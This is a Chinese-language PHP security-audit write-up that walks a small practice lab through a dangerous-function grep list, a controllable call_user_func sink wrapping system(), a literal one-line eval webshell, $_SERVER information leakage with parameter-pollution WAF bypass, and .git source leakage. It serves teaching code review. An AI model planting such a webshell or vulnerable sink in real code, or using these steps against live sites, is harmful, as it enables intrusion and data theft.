“危险函数 → 参数可控性 → 利用条件”三步法,在一个十来文件的小靶场上走一遍:
0x01 审计起点:危险函数索引
grep 危险函数后逐个反查”参数是否可控、中间有没有过滤”:
命令/代码执行:system exec eval assert call_user_func call_user_func_array create_function preg_replace(/e)
文件操作:include require file_put_contents fopen unlink
0x02 案例①:call_user_func 的”可控函数名”
Class A {
static function f(string $a){ system($a); }
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) unset($parameters['action']);
call_user_func($action, $parameters);
- 可控点:
$action(函数名)与$parameters(剔除 action 的 GET 数组)双双可控——call_user_func 系漏洞的理想形态; - 利用尝试:
call_user_func('system', $_GET)收到关联数组而非字符串,报 TypeError;call_user_func('A::f', $_GET)栽在string $a声明上; - 实际危害:退一步是任意无参/单数组参函数调用——
action=phpinfo回显全部配置(版本/扩展/路径),配合其他文件即链。
审计要点:unset($parameters['action']) 说明开发者意识到”参数里混进函数名”,但只摘了 action 一个键,没解决函数名可控本身——“防护做了一半”的地方往往就是正确方向。
0x03 案例②:一句话马的标准形态
<?php eval($_POST[123]); ?>
WebShell 原始版:eval + $_POST + 数字键名(省引号),活不过静态查杀。审计要会两件事:
- 灰盒下搜
eval(、assert(、preg_replace的/e、$_POST/$_GET进执行函数的组合; - 拿到马后先做什么见免杀篇:探版本、测 disable_functions、选函数。
0x04 案例③:$_SERVER 全量暴露与 HPP
<?php var_dump($_SERVER); exit;
调试残留暴露两个面:
- 信息泄露:
SCRIPT_FILENAME/DOCUMENT_ROOT是绝对路径(写 webshell、INTO DUMPFILE都要)、SERVER_ADDR内网 IP、请求头全量; - HPP(HTTP Parameter Pollution):重复参数下
$_SERVER['QUERY_STRING'](原始串)与$_GET(解析后)结果不同——WAF 与后端解析差分攻击的原型(绕过手册)。
0x05 案例④:.git 泄露面
靶场自带 .git/(objects/refs/logs 齐全)——最高频的源码泄露:/.git/HEAD 200 即确认,git-dumper 恢复源码,黑盒变白盒。同目录 db.inc.php、git.php、create_oupeng_table.php 提示优先审计点:配置凭据与建表逻辑字段。
0x06 审计三步法总结
① 危险函数 grep —— 建立可疑点清单
② 参数可控性回溯 —— 从危险函数向上追 taint,记录过滤/类型声明/框架封装
③ 利用条件评估 —— 无 RCE 也可能是信息泄露/组合链的一环,别急着判死